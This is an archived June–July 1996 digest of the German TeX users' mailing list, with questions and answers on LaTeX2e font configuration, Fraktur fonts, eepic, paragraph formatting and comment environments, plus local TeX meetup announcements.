Users Communication List From: Nils Bokermann Date: Mon, 24 Jun 1996 21:55:16 +0100 Subject: Probleme mit latex2e (1995/12/01) Hallo! Ich habe zwar mein Problem vor ein paar Tagen schon mal geschildert, aber leider sind direkt danach alle eingehenden Mail's ins Nirvana gewandert. Ich habe ein Problem mit dem latex2e (1995/12/01): Entpacken, Dokus lesen und installieren war kein Problem. Aber dann: immer wenn ich ein Dokument aufrufe, welches dc-Schriften benutzt (der default sind bei mir die dc-Schriften), versuch TeX eine Schrift namens atxx (mit xx=07,08,..,12) zu finden. Wie kann ich das verhindern? Falls das eine FAQ ist, oder ich etwas "ubersehen habe bitte einen Hinweis, falls vor ein paar Tagen schon etwas dar"uber hier stand, w"are ich dankbar, wenn man mir die Mail nochmal zukommen lassen k"onnte. Danke und Tsch"u"s, Nils -- Nils Bokermann Johanneswerkstr. 90 Phone: +49 521 891279 33613 Bielefeld FAX: +49 521 550116 Germany Warum werden die Gr"unen mit Schnittlauch nilsb@reality.owl.de verglichen? Naja, au"sen Gr"un, innen Hohl und treten immer Geb"undelt auf! From owner-tex-d-l@VM.GMD.DE Tue Jun 25 13:33:07 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Braune@RZ.UNI-KARLSRUHE.DE Date: Tue, 25 Jun 1996 13:32:56 +0200 Subject: TeX-Stammtisch in Karlsruhe am 4. Juli 1996, 19:30 Uhr Liebe TeXnikerInnen, der TeX-Stammtisch in Karlsruhe trifft sich wieder am 4.7.96: TeX-Stammtisch am 4. Juli 1996 um 19:30 im Rechenzentrum der Universitaet Karlsruhe, Zirkel 2, 3.OG Raum 316 Falls das Wetter mitspielt, wollen wir gegen 20:30 in den Biergarten Pfannenstiel Am Kuenstlerhaus 53 umziehen. Einen entsprechenden Hinweis werden wir auf den Aushaengen an den Eingaengen des Rechenzentrums hinterlassen. Wer die Lage des Rechenzentrums oder des Biergartens nicht kennt, kann sich im WEB den Karlsruher Stadtplan ansehen und sich die Adressen heraussuchen lassen. Der Stadtplan ist im WEB zu finden unter http://rz70.rz.uni-karlsruhe.de/cgi-bin/user/ry10/stadtplan oder http://www.uni-karlsruhe.de/cgi-bin/stadtplan Dort kann nach Strassen gesucht werden (Stichwort fuer das Rechenzentrum: "Zirkel, neuer" - Planquadrat I10, diagonal gegenueber dem Regierungs- praesidium; fuer den Biergarten: "Kuenstlerhaus, Am" - Planquadrat K10). Kontakt: Klaus Braune Email: braune@rz.uni-karlsruhe.de Tel: 0721/608-4031 Zum TeX-Stammtisch sind alle, die interessiert sind, herzlich einge- laden. Die Treffen finden bis auf weiteres jeweils am ersten Donnerstag jeden Monats im Rechenzentrum statt. ******************************************************************************* Klaus Braune Zirkel 2 * D-76128 Karlsruhe Universitaet Karlsruhe Phone: +49 721 608-4031 Rechenzentrum EMAIL: Braune@rz.uni-karlsruhe.de From owner-tex-d-l@VM.GMD.DE Tue Jun 25 16:00:59 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: 7BIT Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "J%org Knappen, Mainz" Date: Tue, 25 Jun 1996 16:00:41 +0100 Subject: Re: Probleme mit latex2e (1995/12/01) Nochmal: Ich vermute ein Problem mit fonttext.cfg, welches nicht zur LaTeX-Version passt. Dies tritt zum Beispiel dann auf, wenn die Sauter-Verteilung aktiviert ist. Ein aktuelles fonttext.cfg gibt es auf den CTAN-Archiven in fonts/cm/sauter23/latex --J"org Knappen. From owner-tex-d-l@VM.GMD.DE Tue Jun 25 17:58:16 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: Quoted-printable Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Alexander Selzer <00181188@FHMRZ4.RZ.FH-MUENCHEN.DE> Date: Tue, 25 Jun 1996 17:56:48 MEZ Subject: Deutsche Schrift Hallihallo allerseits, ich m=F6chte einen Text mit den Y-Fonts von Yannis setzen (yfrak, yswab, ygoth). Wei=DF jemand einen Style, der mir die Standardklassen so ver=E4ndert, da=DF alles in diesen Schriften ist. Oder gibts gar eine Klasse, deren Spezialit=E4t sowas ist? Danke! Servus! Alex From owner-tex-d-l@VM.GMD.DE Wed Jun 26 08:18:01 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Andreas Schrell Date: Tue, 25 Jun 1996 19:44:00 GMT Subject: Probleme mit latex2e (1995/12/01) Kommentar zu A49770@H in der Gruppe TeX-D-L Gruppe: TeX-D-L ID: A21304@H Wg.: Re: Font at12.tfm gesucht (Latex2e 12/01/1995) Von: TEX-D-L@VM.GMD.DE (Mi, 19.06.96 16:25) Name: "J%org Knappen, Mainz" (KNAPPEN@VKPMZD.KPH.UNI-MAINZ.DE) MId: 01I63KUWVGPUANE938@MZDMZA.ZDV.UNI-MAINZ.DE Sieht nach einer fehlerhaften (besser: unpassenden) fonttext.cfg bzw. fontmath.cfg aus. Dieses Problem tritt im besonderen mit alten cfg-Dateien zur Sauter-Verteilung ein, aktuelle cfg-Dateien befinden sich dazu auf den CTAN-Archiven. --J"org Knappen. Gruppe: TeX-D-L ID: A21297@H Wg.: Re: Font at12.tfm gesucht (Latex2e 12/01/1995) Von: TEX-D-L@VM.GMD.DE (Mi, 19.06.96 07:50) Name: Bernd Raichle (raichle@ISLE.INFORMATIK.UNI-STUTTGART.DE) MId: 199606190650.IAA14460@isle.informatik.uni-stuttgart.de Nils Bokermann hat folgendes Problem: : Wie schon aus dem Subject ersichtlich sucht meine neue LaTeX-Version : immer nach einem atxx-Font. Ich bin sicher, da"s ich w"ahrend der : Installation irgendeinen dummen Fehler gemacht habe. Nur leider wei"s : ich nicht welchen. : : Ich w"are froh, wenn mir irgendjemand einen Tip geben k"onnte. : : Ich benutze TeX 3.14159 (C Version 6.1) und LaTeX2e vom 01.12.1996 Scheint wohl so als ob eine Angabe wie cmr10 at 12pt irgendwo verstuemmelt als 12pt steht. Da LaTeX2e die Fontbeschreibungen (= Zuordnung eines relativ abstrakten Tupels Encoding/Family/Series/Shape/Size auf den Namen eines "realen" Fonts) in sogenannten .fd-Files abgelegt hat, die beim Installieren/Entpacken aus den .fdd-Files extrahiert werden, solltest du dir einmal die Dateien OT1cmr.fd (fuer die Standard-Brotschrift) OMLcmm.fd+OMScmsy.fd (fuer die Matheschriften) ansehen, ob diese korrekt ausgepackt wurden. Da die Angabe "at XXpt" normalerweise ueber Makros generiert wird (in den .fd-Files steht nur ein "... gen * ..."), kann auch noch das File "latex.ltx", das den notwendigen Code enthaelt, fehlerhaft generiert worden sein. Einfach mal durchsehen, ob z.B. ueberlange Zeilen auftauchen, ob der Kommentar soweit korrekt formatiert erscheint oder ob der (fuer die meisten wohl unverstaendliche) Code korrekt eingerueckt ist u.ae. Wenn nicht, lief das Entpacken schief. Ein haeufiges Problem sind dabei die unterschiedliche Markierung der Zeilenenden unter z.B. Unix, MS-DOS und Mac. Je nachdem, kann es dann gleich beim Entpacken zu einem Fehler kommen oder das Entpacken ging gut, aber das Ergebnis, die entstandenen Makrodateien, sind voellig unbrauchbar (lange Zeilen, falsch plazierte Kommentare, an falschen Stellen umbrochene Makros, etc.). -bernd Zum Vormerken: 10.10.-11.10.96: 15. Mitgliederversammlung von DANTE e.V. in Hamburg 28.07.-01.08.96: TUG'96 in Dubna (Russland) ==> mehr Infos ueber http://www.dante.de/dante/Tagungen.html ____________________________________________________________________ Bernd Raichle "Le langage est source DANTE e.V., Koordinator `german.sty' de malentendus" email: german@dante.de (A. de Saint-Exupery) Infos ueber DANTE e.V.: ftp: ftp.dante.de oder email: ftpmail@dante.de in /tex-archive/usergrps/dante/ www: http://www.dante.de/ Viele Grð±e /\ /__\ndreas / Schrell From owner-tex-d-l@VM.GMD.DE Wed Jun 26 08:39:18 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Wed, 26 Jun 1996 08:39:18 +0200 Subject: Re: Deutsche Schrift Alexander Selzer <00181188@FHMRZ4.RZ.FH-MUENCHEN.DE> schreibt: : ich moechte einen Text mit den Y-Fonts von Yannis setzen (yfrak, : yswab, ygoth). Weiss jemand einen Style, der mir die Standardklassen : so veraendert, dass alles in diesen Schriften ist. : : Oder gibts gar eine Klasse, deren Spezialitaet sowas ist? Ich nehme mal unverschaemterweise an, dass heutzutage jeder LaTeX2e verwendet (nach ueber 2 Jahren und 5 Releases LaTeX2e, LaTeX 2.09 ist jetzt schon "aelter" als 4 Jahre!), zuerst besorgt man sich CTAN: macros/latex/packages/mfnfss/ packt mit latex oldgerm.ins das .dtx-Archiv aus, sagt dann im Dokumentkopf \usepackage{oldgerm} und kann danach im Dokument mit \textgoth{...}, \textfrak{...} und \textswab{...} auf die (nie richtig fertiggestellten) "Y-Fonts" zugreifen. Wenn man standardmaessig statt der CM-Schrift eine der "Y-Fonts" verwenden will, kann man dies auch durch ein \renewcommand{\familydefault}{\swabfamily} % bzw. \gothfamily bzw. \frakfamily im Dokumentkopf (...genauso wie man auch \rmfamily, \sffamily oder \ttfamily verwenden wuerde). Viel Spass, -bernd Zum Vormerken: 10.10.-11.10.96: 15. Mitgliederversammlung von DANTE e.V. in Hamburg ==> mehr Infos ueber http://www.dante.de/dante/Tagungen.html ____________________________________________________________________ Bernd Raichle "Le langage est source DANTE e.V., Koordinator `german.sty' de malentendus" email: german@dante.de (A. de Saint-Exupery) Infos ueber DANTE e.V.: ftp: ftp.dante.de oder email: ftpmail@dante.de in /tex-archive/usergrps/dante/ www: http://www.dante.de/ From owner-tex-d-l@VM.GMD.DE Wed Jun 26 12:15:17 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Ralph J. Hangleiter" Date: Wed, 26 Jun 1996 11:03:14 +0200 Subject: EEPIC-Style Gibt es so etwas, und wenn ja - wo finde ich es? Ein (zugegeben oberfl"achlicher) Blick in unseren dante-Spiegel hat mir leider nicht geholfen. Danke ralph ------------------------------------------------------------------------- Ralph J. Hangleiter PGP-key Brueder-Grimm-Allee 57 hangleit@math.uni-goettingen.de available D-37075 Goettingen, Germany http://www.num.math.uni-goettingen.de/hangleit/ (+49) 551 54 16 09 From owner-tex-d-l@VM.GMD.DE Wed Jun 26 11:07:51 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Reinhard Zierke Date: Wed, 26 Jun 1996 11:07:54 +0200 Subject: Re: EEPIC-Style > Gibt es so etwas, und wenn ja - wo finde ich es? > Ein (zugegeben oberfl"achlicher) Blick in unseren dante-Spiegel hat > mir leider nicht geholfen. > Danke Wenn Ihr schon einen Spiegel habt, sollte ein lokales 'grep eepic.sty /tex-archive/Files.byname' das gleiche liefern wie 'site index eepic.sty' in einer FTP-Sitzung, naemlich: ftp> site index eepic.sty 200-index eepic.sty 200-NOTE. This index shows at most 20 lines. for a full list of files, 200-retrieve /tex-archive/FILES.byname 200-1991/01/31 | 16691 | macros/latex209/contrib/eepic/eepic.sty 200-1993/01/12 | 16718 | macros/latex209/contrib/eepic/eepic.sty-dist 200 (end of 'index eepic.sty') Gruss, -rz -- Reinhard Zierke Universitaet Hamburg, FB Informatik zierke@informatik.uni-hamburg.de Vogt-Koelln-Strasse 30, D-22527 Hamburg postmaster@informatik.uni-hamburg.de Tel.: (040) 54715-295/276 Fax: -241 ===> Neue Telefonnummer ab 28. Juni: Tel.: (040) 5494-2295/2276 Fax: -2241 From owner-tex-d-l@VM.GMD.DE Wed Jun 26 09:39:53 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Rolf Niepraschk Date: Wed, 26 Jun 1996 09:40:30 EDT Subject: Re: Probleme mit latex2e (1995/12/01) Bernd Raichle schreibt u.a: > Wenn nicht, lief das Entpacken schief. Ein haeufiges Problem sind > dabei die unterschiedliche Markierung der Zeilenenden unter z.B. Unix, > MS-DOS und Mac. Je nachdem, kann es dann gleich beim Entpacken zu > einem Fehler kommen oder das Entpacken ging gut, aber das Ergebnis, > die entstandenen Makrodateien, sind voellig unbrauchbar (lange Zeilen, > falsch plazierte Kommentare, an falschen Stellen umbrochene Makros, > etc.). Ich empfehle in solchen Faellen die entsprechenden (Text-)Dateien mit "ZIP" zu packen (wenn nicht schon geschehen) und per "UNZIP -a" wieder zu entpacken. Das Ergebnis sind Textdateien mit korrektem Zeilenende. "ZIP" und "UNZIP" gibt es (z.B. auf dem CTAN-Server) fuer nahezu alle Rechnersysteme... Rolf Niepraschk .----------------------------------------------------. | Rolf Niepraschk | | Physikalisch-Technische Bundesanstalt | | Abbestr. 2-12 | | D-10587 Berlin, Germany | | Tel.: ++49-30-3481-316, Fax.: ++49-30-3481-490 | | Bitnet: NIEPRASCHK@PTBIB | | Internet: NIEPRASCHK@PTB.DE | `----------------------------------------------------' From owner-tex-d-l@VM.GMD.DE Thu Jun 27 13:50:56 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Thu, 27 Jun 1996 13:50:44 +0200 Subject: Re: Letzte Zeile eines Absatzes zentrieren Leo Broska schreibt: : : Wie kann ich einen Absatz im Blocksatz setzen, so da"s die nur die letzte : Zeile zentriert wird? Wurde schon mehrmals beantwortet (u.a. sehr altem TeXhax von Anne Br\"uggeman-Klein, spaeter noch in einer TeXMag-Ausgabe und erst kuerzlich in "Die TeXnische Komoedie"): \setlength{\leftskip}{0pt plus 1fil} \setlength{\rightskip}{0pt plus -1fil} \setlength{\parfillskip}{0pt plus 2fil} Neben dieser sehr eleganten Loesung gibt's noch haufenweise kompliziertere, die den einmal gesetzten Absatz versuchen, wieder "auszupacken" und die letzte Zeile zu zentrieren. Das ganze am besten in eine Umgebung packen: \newenvironment{centerlastline}{% \par \setlength{\leftskip}{0pt plus 1fil}% \setlength{\rightskip}{0pt plus -1fil}% \setlength{\parfillskip}{0pt plus 2fil}% }{% \par } Gruesse, -bernd From owner-tex-d-l@VM.GMD.DE Sun Jun 30 01:02:16 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Francisco Palacios Gutiirrez Date: Thu, 27 Jun 1996 15:14:52 GMT Subject: TeX format I have found a lot of documents with the format (.tex) and I have read they in LaTeX format. I don't know how I can read them and see the math formulas, that is why I am looking for a small viewer program (I don't need the complete LaTeX program). So I would be very grateful if somebody could send me (to this newsgroup or in a ftp-mail) some program to see that kind of documents. Thank you very much, Tom¤s Palacios Guti©rrez pedro.palacios@mentor.mec.ex From owner-tex-d-l@VM.GMD.DE Sun Jun 30 01:43:17 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Philo D." Date: Thu, 27 Jun 1996 13:21:42 -0500 Subject: Re: TeX format In article <4qu9af$f9r@ns.mad.servicom.es>, m.gutierrez@mad.servicom.es (Francisco Palacios Guti©rrez) wrote: > I have found a lot of documents with the format (.tex) and I have > read they in LaTeX format. I don't know how I can read them and see > the math formulas, that is why I am looking for a small viewer program > (I don't need the complete LaTeX program). So I would be very > grateful if somebody could send me (to this newsgroup or in a > ftp-mail) some program to see that kind of documents. > Ask in the group comp.text.tex The TeX program is (a part of) the viewer, so you DO need a complete TeX program, plus more. From owner-tex-d-l@VM.GMD.DE Sun Jun 30 01:55:06 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=gb2312 Content-Transfer-Encoding: 7bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Yuming Ma Date: Thu, 27 Jun 1996 16:37:49 -0400 Subject: word processor i was told that there is a word processor (like Windows Word, wordperfect, etc on PC) on Unix station/X11-Motif env, which can perform the similar work as Winword on PC. but i forgot what it is. Would anyone tell this kind of word processors? Thank you very much, Yuming Ma, mym@cadcam.eng.ohio-state.edu From owner-tex-d-l@VM.GMD.DE Fri Jun 28 14:19:14 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Dr. Guenter Green" Date: Fri, 28 Jun 1996 13:59:56 +0200 Subject: Umlaute in Mail Aus haeufig gegebenem Anlass an alle PC-Benutzer: Schickt bitte keine Mail mit deutschen Umlauten. Auf anderen Rechnern ist das Ergebnis sehr schlecht zu lesen. Schreibt z. B. besser `fuer' oder `f"ur'. Vielen Dank! Guenter Green From owner-tex-d-l@VM.GMD.DE Fri Jun 28 14:50:32 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Fri, 28 Jun 1996 14:49:03 +0200 Subject: Re: Deutsche Schrift Alexander Selzer <00181188@FHMRZ4.RZ.FH-MUENCHEN.DE> schreibt: [... meine Antwort mit ...] : > \usepackage{oldgerm} : > : > und kann danach im Dokument mit \textgoth{...}, \textfrak{...} und : > \textswab{...} auf die (nie richtig fertiggestellten) "Y-Fonts" : > zugreifen. Wenn man standardmaessig statt der CM-Schrift eine der : > "Y-Fonts" verwenden will, kann man dies auch durch ein : > : > \renewcommand{\familydefault}{\swabfamily} : > % bzw. \gothfamily bzw. \frakfamily Das ist falsch... muesste einfach nur \renewcommand{\familydefault}{yswab} heissen. : > im Dokumentkopf (...genauso wie man auch \rmfamily, \sffamily oder : > \ttfamily verwenden wuerde). : [...] : : Mit oldgerm.sty ist das Schreiben kleinerer Texte oder Abschnitte : kein Problem. Das Problem besteht aber darin, dass sich diese : Aenderungen nicht auf z.B. Ueberschriften und Seitenzahlen, also die : ganzen Standardtexte, beziehen. Und ein Schriftstueck in Fraktur, bei : dem dann das Wort "Inhaltsverzeichnis" in Antiqua erscheint, ist auch : nicht unbedingt toll. Die Aussage kapier' ich, ohne weitere Information zu den verwendeten Klassen, nicht so ganz. Wenn man den \familydefault auf `yfrak' aendert, erhaelt man ueberall, wo normalerweise `rm' verwendet wird, jetzt natuerlich statt der CM-Antiqua die Frakturschrift ...prinzipiell auch da, wo \bfseries, \itshape, etc. verwendet wird. Da die Yannis-Font in \fontencoding{U} daherkommen, muss man den \encodingdefault am besten auch auf diesen umstellen: \documentclass{article} \renewcommand{\encodingdefault}{U} \renewcommand{\familydefault}{yfrak} \begin{document} \section{\"Uberschrift} Testtext mit scharfem s: Stra\ss e. \end{document} ergibt bei mir Ueberschriften in Fraktur. Jetzt fehlen nur noch Definitionen fuer die \" und \ss in \fontencoding{U}, damit man nicht die CM-Puenktchen bzw. das CM-\ss erhaelt. Dazu wuerde ich aber `yfrak' eine _lokale_ Encoding zuweisen und dieser dann die entsprechenden Deklarationen mitgeben -- und nichts an den Deklarationen fuer `U' aendern! : Ich werd mir jetzt also modifizierte german.sty und Klassen bauen; : ich wollt' nur nicht das Rad zweimal erfinden! Nein! Nicht `german.sty' modifizieren! In LaTeX2e kann man mit \DeclareTextAccent..., \DeclareTextSymbol... etc. (siehe OT1enc.def bzw. T1enc.def) dies machen ...und dann kann es auch -- ohne jedwede Aenderung(!) -- der neue german.sty 2.5c. Ausserdem muss man an den Klassen meist auch nichts aendern, sondern nur die korrekten Deklarationen -- das ist ja auch der Vorteil von LaTeX2e. Also: eigene lokale Fontencoding-Def-Datei erstellen, dazu OT1enc.def nach LOT1enc.def (oder anderer Name) kopieren, entsprechende Deklarationen fuer yfrak/yswab/ygoth anpassen/loeschen/einfuegen/ aendern und dann einfach \encodingdefault fuer diese Schriften auf dieses lokale Encoding LOT1 setzen ...und schon muesste alles funktionieren. (Und wenn mal alles zur Zufriedenheit und fast fehlerfrei laeuft, kann man es ja auch mal in's mfnfss-Paket mit reinnehmen, damit sich andere nicht dieselbe Arbeit machen muessen.) Gruesse, -bernd From owner-tex-d-l@VM.GMD.DE Fri Jun 28 13:35:07 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: Quoted-printable Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Alexander Selzer <00181188@FHMRZ4.RZ.FH-MUENCHEN.DE> Date: Fri, 28 Jun 1996 13:18:47 MEZ Subject: Re: Deutsche Schrift > Ich nehme mal unverschaemterweise an, dass heutzutage jeder LaTeX2e > verwendet (nach ueber 2 Jahren und 5 Releases LaTeX2e, LaTeX 2.09 ist > jetzt schon "aelter" als 4 Jahre!), zuerst besorgt man sich > > CTAN: macros/latex/packages/mfnfss/ > > packt mit > > latex oldgerm.ins > > das .dtx-Archiv aus, sagt dann im Dokumentkopf > > \usepackage{oldgerm} > > und kann danach im Dokument mit \textgoth{...}, \textfrak{...} und > \textswab{...} auf die (nie richtig fertiggestellten) "Y-Fonts" > zugreifen. Wenn man standardmaessig statt der CM-Schrift eine der > "Y-Fonts" verwenden will, kann man dies auch durch ein > > \renewcommand{\familydefault}{\swabfamily} > % bzw. \gothfamily bzw. \frakfamily > > im Dokumentkopf (...genauso wie man auch \rmfamily, \sffamily oder > \ttfamily verwenden wuerde). > Da ich jetzt seit etwa 1 1/2 Jahren LaTeX2e verwende, bin ich soo weit nat=FCrlich auch. Ich h=E4tte auch kein Problem damit, eine entsprechend modifizierte Klasse zu schreiben -- au=DFer der Zeit :-( Mit oldgerm.sty ist das Schreiben kleinerer Texte oder Abschnitte kein Problem. Das Problem besteht aber darin, da=DF sich diese =C4nderungen nicht auf z.B. =DCberschriften und Seitenzahlen, also die ganzen Standardtexte, beziehen. Und ein Schriftst=FCck in Fraktur, bei dem dann das Wort "Inhaltsverzeichnis" in Antiqua erscheint, ist auch nicht unbedingt toll. Ich werd mir jetzt also modifizierte german.sty und Klassen bauen; ich wollt' nur nicht das Rad zweimal erfinden! Beste Gr=FC=DFe! Alexander Selzer From owner-tex-d-l@VM.GMD.DE Sat Jun 29 05:05:02 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Oskar Hagen Date: Fri, 28 Jun 1996 21:26:00 +0200 Subject: Problem with \newenvironment Hi, Wenn ein bestimmter Text einfach ignoriert werden soll (abh¢ngig von einer logischen Variable), so geht das wohl mit \newcommand{\nurmanchmal}[1]{\ifmanchmal #1 \else \fi} Um mit dem Strom der Zeit zu schwimmen, wollte ich das auf \begin{manchmal}...\end{manchmal} umstellen, bin bisher aber immer gescheitert. Folgende Paarungen habe ich versucht in {begdef} und {enddef} aufzuteilen: "{" und "}", "\ifmanchmal" und "\fi". Auch "\discard\begingroup" und "\endgroup" mit dem Kommando \discard[1]{} funktionierte nicht. Kann jemand helfen? Gru± Oskar From owner-tex-d-l@VM.GMD.DE Thu Jun 27 13:42:55 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Leo Broska Date: Thu, 27 Jun 1996 13:44:37 -6000 Subject: Letzte Zeile eines Absatzes zentrieren Hi! Wie kann ich einen Absatz im Blocksatz setzen, so da"s die nur die letzte Zeile zentriert wird? Ciao, Leo. ----------------------------------------------| Leo Arnt Broska, Uni Heidelberg, Germany |------------------------------ ----------------------------------------------| Hey Gott, Alte, seit wann eMail: broska@salbei.iwr.uni-heidelberg.de |------------------------------ ----------------------------------------------| verstehst Du mich als Mann? |------------------------------ From owner-tex-d-l@VM.GMD.DE Sun Jun 30 16:16:00 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Martin Schroeder Date: Sun, 30 Jun 1996 15:57:55 +0200 Subject: TeX-Stammtisch in Bremen im Juli 1996 am 1996-07-11 um 18:00 MEST Liebe Freunde, hiermit lade ich euch herzlich zum n"achsten Bremer TeX-Stammtisch ! am 11. Juli 1996 um 18:00 ! in der Universit"at Bremen, MZH, 4. Ebene, gegen"uber den Fahrst"uhlen ein. Kontakt: Martin Schr"oder, MS@Dream.HB.North.DE, Tel. 0421/628813 CU Martin ! Achtung: Der Algorithmus f"ur die Stammtische hat sich ge"andert: ab ! ! August ist es der erste _Donnerstag_ im Monat. ! -- Martin Schr"oder, MS@Dream.HB.North.DE The juvenile sea squirt wanders through the sea searching for a suitable rock or hunk of coral to cling to and make its home for life. For this task, it has a rudimentary nervous system. When it finds its spot and takes root, it doesn't need its brain anymore, so it eats it! (It's rather like getting tenure.) - Daniel C Dennett, "Consciousness Explained", p177 From root Mon Jul 1 09:55:37 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Mon, 1 Jul 1996 09:54:39 +0200 Subject: Re: Problem with \newenvironment Oskar Hagen schreibt: : Wenn ein bestimmter Text einfach ignoriert werden soll (abhaengig von einer : logischen Variable), so geht das wohl mit : : \newcommand{\nurmanchmal}[1]{\ifmanchmal #1 \else \fi} Naja, nicht immer. Im auskommentierten Teil muessen sich die \if... und \fi "matchen", sonst bekommt man auch sonderbare Effekte :-) Ausserdem waere ein \ifmanchmal \newcommand{\nurmanchaml}[1]{} \else \newcommand{\nurmanchaml}[1]{#1} \fi doch einfacher. : Um mit dem Strom der Zeit zu schwimmen, wollte ich das auf : : \begin{manchmal}...\end{manchmal} : : umstellen, bin bisher aber immer gescheitert. : Folgende Paarungen habe ich versucht in {begdef} und {enddef} aufzuteilen "{" : und "}", "\ifmanchmal" und "\fi". : Auch "\discard\begingroup" und "\endgroup" mit dem Kommando \discard[1]{} : funktionierte nicht. : Kann jemand helfen? Tja, __so__ einfach kann man keine Kommentar-Umgebung definieren. Ich wuerde dazu aber einfach einen Blick in die De-TeX-/DANTE-FAQ werfen (u.a. auf CTAN in usergrps/dante/de-tex-faq/ zu finden). Dort findet man: =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D 5.1.4) Gibt es eine Kommentar-/comment-Umgebung, mit der ich gr=EA=B1ere Textteile auskommentieren kann? [... Erwaehnung von \if...\fi- und \newcommand-Loesungen ... ] Spezielle Kommentar-Umgebungen beseitigen diese Einschr=A2nkungen -- und haben meist selbst eigene Einschr=A2nkungen. `verbatim' aus dem `tools'-Paket definiert eine sehr einfache `comment'-Umgebung, die man jedoch nicht schachteln kann. Weiterhin gibt es noch `xcomment' (von T. van Zandt, eine speziell an die Erfordernisse des Paketes `seminar' angepa=B1te und abgespeckte Version des `verbatim'. Mit `comment' (von V. Eijkhout) kann man neue Kommentar-Umgebungen definieren, die mit \includecomment- und \excludecomment-Deklarationen aus- und eingeblendet werden k=EAnnen. verbatim.sty: CTAN: macros/latex/packages/tools/ xcomment.sty: CTAN: macros/latex/contrib/other/seminar/ CTAN: macros/latex209/contrib/misc/xcomment.sty comment.sty: CTAN: macros/latex209/contrib/misc/comment.sty =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Gruesse, -bernd dantefaq@dante.de /2 Zum Vormerken: 10.10.-11.10.96: 15. Mitgliederversammlung von DANTE e.V. in Hamburg =3D=3D> mehr Infos ueber http://www.dante.de/dante/Tagungen.html ____________________________________________________________________ Bernd Raichle "Le langage est source DANTE e.V., Koordinator `german.sty' de malentendus" email: german@dante.de (A. de Saint-Exupery) Infos ueber DANTE e.V.: ftp: ftp.dante.de oder email: ftpmail@dante.de in /tex-archive/usergrps/dante/ www: http://www.dante.de/ From root Mon Jul 1 09:55:37 1996 Message-Id: <199607010754.JAA21342@isle.informatik.uni-stuttgart.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle To: Multiple recipients of list TEX-D-L In-Reply-To: <199606282126.p37389@ol2.maus.de> (message from Oskar Hagen o= Date: Mon, 1 Jul 1996 09:54:39 +0200 Subject: Re: Problem with \newenvironment Oskar Hagen schreibt: : Wenn ein bestimmter Text einfach ignoriert werden soll (abhaengig von ein= er : logischen Variable), so geht das wohl mit : : \newcommand{\nurmanchmal}[1]{\ifmanchmal #1 \else \fi} Naja, nicht immer. Im auskommentierten Teil muessen sich die \if... und \fi "matchen", sonst bekommt man auch sonderbare Effekte :-) Ausserdem waere ein \ifmanchmal \newcommand{\nurmanchaml}[1]{} \else \newcommand{\nurmanchaml}[1]{#1} \fi doch einfacher. : Um mit dem Strom der Zeit zu schwimmen, wollte ich das auf : : \begin{manchmal}...\end{manchmal} : : umstellen, bin bisher aber immer gescheitert. : Folgende Paarungen habe ich versucht in {begdef} und {enddef} aufzuteilen= "{" : und "}", "\ifmanchmal" und "\fi". : Auch "\discard\begingroup" und "\endgroup" mit dem Kommando \discard[1]{}= : funktionierte nicht. : Kann jemand helfen? Tja, __so__ einfach kann man keine Kommentar-Umgebung definieren. Ich wuerde dazu aber einfach einen Blick in die De-TeX-/DANTE-FAQ werfen (u.a. auf CTAN in usergrps/dante/de-tex-faq/ zu finden). Dort findet man: =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D 5.1.4) Gibt es eine Kommentar-/comment-Umgebung, mit der ich gr=EA=B1ere Textteile auskommentieren kann? [... Erwaehnung von \if...\fi- und \newcommand-Loesungen ... ] Spezielle Kommentar-Umgebungen beseitigen diese Einschr=A2nkungen -- und haben meist selbst eigene Einschr=A2nkungen. `verbatim' aus dem `tools'-Paket definiert eine sehr einfache `comment'-Umgebung, die man jedoch nicht schachteln kann. Weiterhin gibt es noch `xcomment' (von T. van Zandt, eine speziell an die Erfordernisse des Paketes `seminar' angepa=B1te und abgespeckte Version des `verbatim'. Mit `comment' (von V. Eijkhout) kann man neue Kommentar-Umgebungen definieren, die mit \includecomment- und \excludecomment-Deklarationen aus- und eingeblendet werden k=EAnnen. verbatim.sty: CTAN: macros/latex/packages/tools/ xcomment.sty: CTAN: macros/latex/contrib/other/seminar/ CTAN: macros/latex209/contrib/misc/xcomment.sty comment.sty: CTAN: macros/latex209/contrib/misc/comment.sty =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Gruesse, -bernd dantefaq@dante.de /2 Zum Vormerken: 10.10.-11.10.96: 15. Mitgliederversammlung von DANTE e.V. 